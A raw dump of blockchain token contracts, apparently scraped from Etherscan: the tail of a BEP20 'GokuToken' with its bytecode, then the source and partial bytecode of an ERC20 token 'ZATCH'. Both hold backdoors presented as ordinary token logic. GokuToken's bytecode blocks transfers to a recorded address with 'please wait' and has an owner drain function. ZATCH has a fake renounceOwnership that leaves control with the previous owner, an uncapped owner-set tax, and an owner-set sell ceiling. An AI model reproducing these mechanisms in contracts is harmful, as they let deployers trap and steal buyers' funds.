Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval( msg.sender, tokens, address(this), data ); return true; } function() external payable { revert(); } } contract GokuToken is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable {} }
0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610568578063d4ee1d9014610672578063dd62ed3e146106c9578063f2fde38b1461074e576100f3565b806381f4f399146103bd5780638da5cb5b1461040e57806395d89b4114610465578063a9059cbb146104f5576100f3565b806323b872dd116100c657806323b872dd1461027d578063313ce5671461031057806370a082311461034157806379ba5097146103a6576100f3565b806306fdde03146100f8578063095ea7b31461018857806318160ddd146101fb5780631ee59f2014610226575b600080fd5b34801561010457600080fd5b5061010d61079f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101e1600480360360408110156101ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b34801561020757600080fd5b5061021061092f565b6040518082815260200191505060405180910390f35b34801561023257600080fd5b5061023b61098a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028957600080fd5b506102f6600480360360608110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b0565b604051808215151515815260200191505060405180910390f35b34801561031c57600080fd5b50610325610df5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034d57600080fd5b506103906004803603602081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e08565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610e51565b005b3480156103c957600080fd5b5061040c600480360360208110156103e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b34801561041a57600080fd5b5061042361108b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047157600080fd5b5061047a6110b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ba57808201518184015260208101905061049f565b50505050905090810190601f1680156104e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050157600080fd5b5061054e6004803603604081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114e565b604051808215151515815260200191505060405180910390f35b34801561057457600080fd5b506106586004803603606081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105d257600080fd5b8201836020820111156105e457600080fd5b8035906020019184600183028401116401000000008311171561060657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113ad565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106876115e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b50610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611606565b6040518082815260200191505060405180910390f35b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168d565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108355780601f1061080a57610100808354040283529160200191610835565b820191906000526020600020905b81548152906001019060200180831161081857829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610985600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461172a90919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a3c5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610a875782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b4c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610b9e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eab57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111465780601f1061111b57610100808354040283529160200191611146565b820191906000526020600020905b81548152906001019060200180831161112957829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61126682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fb82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561156e578082015181840152602081019050611553565b50505050905090810190601f16801561159b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561173957600080fd5b818303905092915050565b600081830190508281101561175857600080fd5b9291505056fea265627a7a72315820805f48ea4dd99d4a65b619435022812e0b5f408efa8d400ba0c0af8e0307014864736f6c63430005110032
{"success": true, "error": null, "results": {}}
7,494
0x3Db8857C45E378b13dd638CD3cA38C1Ec4Bd1a0a
/** *Submitted for verification at Etherscan.io on 2021-10-28 */ // SPDX-License-Identifier: MIT // Telegram: t.me/zatchinu pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() || _previousOwner==_msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0xdead)); _previousOwner=_owner; _owner = address(0xdead); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ZATCH is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 10000000000 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate=8; address payable private _taxWallet; string private constant _name = "ZATCH"; string private constant _symbol = "ZATCH"; uint8 private constant _decimals = 0; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _ceil = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0x132733aa7968C4B013c42e2b7d0B7e6B30a3F8a1); _rOwned[_msgSender()] = _rTotal; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0 ,"Rate must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (to == uniswapV2Pair && from != address(uniswapV2Router)) { require(amount <= _ceil); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _ceil = 10000000000 ; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function setCeiling(uint256 ceil) external onlyOwner { _ceil = ceil; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b80638da5cb5b146102695780638f02cf971461029457806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190612682565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612232565b6103f6565b6040516101629190612667565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612804565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906121e3565b61041e565b6040516101ca9190612667565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f59190612879565b60405180910390f35b34801561020a57600080fd5b506102136104fc565b005b34801561022157600080fd5b5061023c60048036038101906102379190612155565b610576565b6040516102499190612804565b60405180910390f35b34801561025e57600080fd5b506102676105c7565b005b34801561027557600080fd5b5061027e6107dc565b60405161028b9190612599565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b69190612297565b610805565b005b3480156102c957600080fd5b506102d2610903565b6040516102df9190612682565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190612232565b610940565b60405161031c9190612667565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190612297565b61095e565b005b34801561035a57600080fd5b50610363610aa0565b005b34801561037157600080fd5b5061038c600480360381019061038791906121a7565b61101f565b6040516103999190612804565b60405180910390f35b3480156103ae57600080fd5b506103b76110a6565b005b60606040518060400160405280600581526020017f5a41544348000000000000000000000000000000000000000000000000000000815250905090565b600061040a610403611118565b8484611120565b6001905092915050565b6000600554905090565b600061042b8484846112eb565b6104ec84610437611118565b6104e785604051806060016040528060288152602001612e1a60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d611118565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116139092919063ffffffff16565b611120565b600190509392505050565b600090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661053d611118565b73ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b600061056830610576565b905061057381611677565b50565b60006105c0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611971565b9050919050565b6105cf611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067c575061062b611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6106bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b290612764565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61080d611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108ba5750610869611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f090612764565b60405180910390fd5b80600c8190555050565b60606040518060400160405280600581526020017f5a41544348000000000000000000000000000000000000000000000000000000815250905090565b600061095461094d611118565b84846112eb565b6001905092915050565b610966611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a1357506109c2611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4990612764565b60405180910390fd5b6000811015610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d906127e4565b60405180910390fd5b8060088190555050565b610aa8611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610b555750610b04611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b90612764565b60405180910390fd5b600b60149054906101000a900460ff1615610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612704565b60405180910390fd5b610c1330600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600554611120565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7b57600080fd5b505afa158015610c8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb3919061217e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3757600080fd5b505afa158015610d4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6f919061217e565b6040518363ffffffff1660e01b8152600401610d8c9291906125b4565b602060405180830381600087803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde919061217e565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e6730610576565b600080610e726107dc565b426040518863ffffffff1660e01b8152600401610e9496959493929190612606565b6060604051808303818588803b158015610ead57600080fd5b505af1158015610ec1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ee691906122c0565b5050506001600b60166101000a81548160ff0219169083151502179055506402540be400600c819055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fca9291906125dd565b602060405180830381600087803b158015610fe457600080fd5b505af1158015610ff8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101c919061226e565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e7611118565b73ffffffffffffffffffffffffffffffffffffffff161461110757600080fd5b6000479050611115816119df565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611190576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611187906127c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f7906126e4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112de9190612804565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561135b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611352906127a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c2906126a4565b60405180910390fd5b6000811161140e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140590612784565b60405180910390fd5b6114166107dc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457506114546107dc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561160357600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156115345750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561154957600c5481111561154857600080fd5b5b600061155430610576565b9050600b60159054906101000a900460ff161580156115c15750600b60009054906101000a900473ffffffffffffffffffffff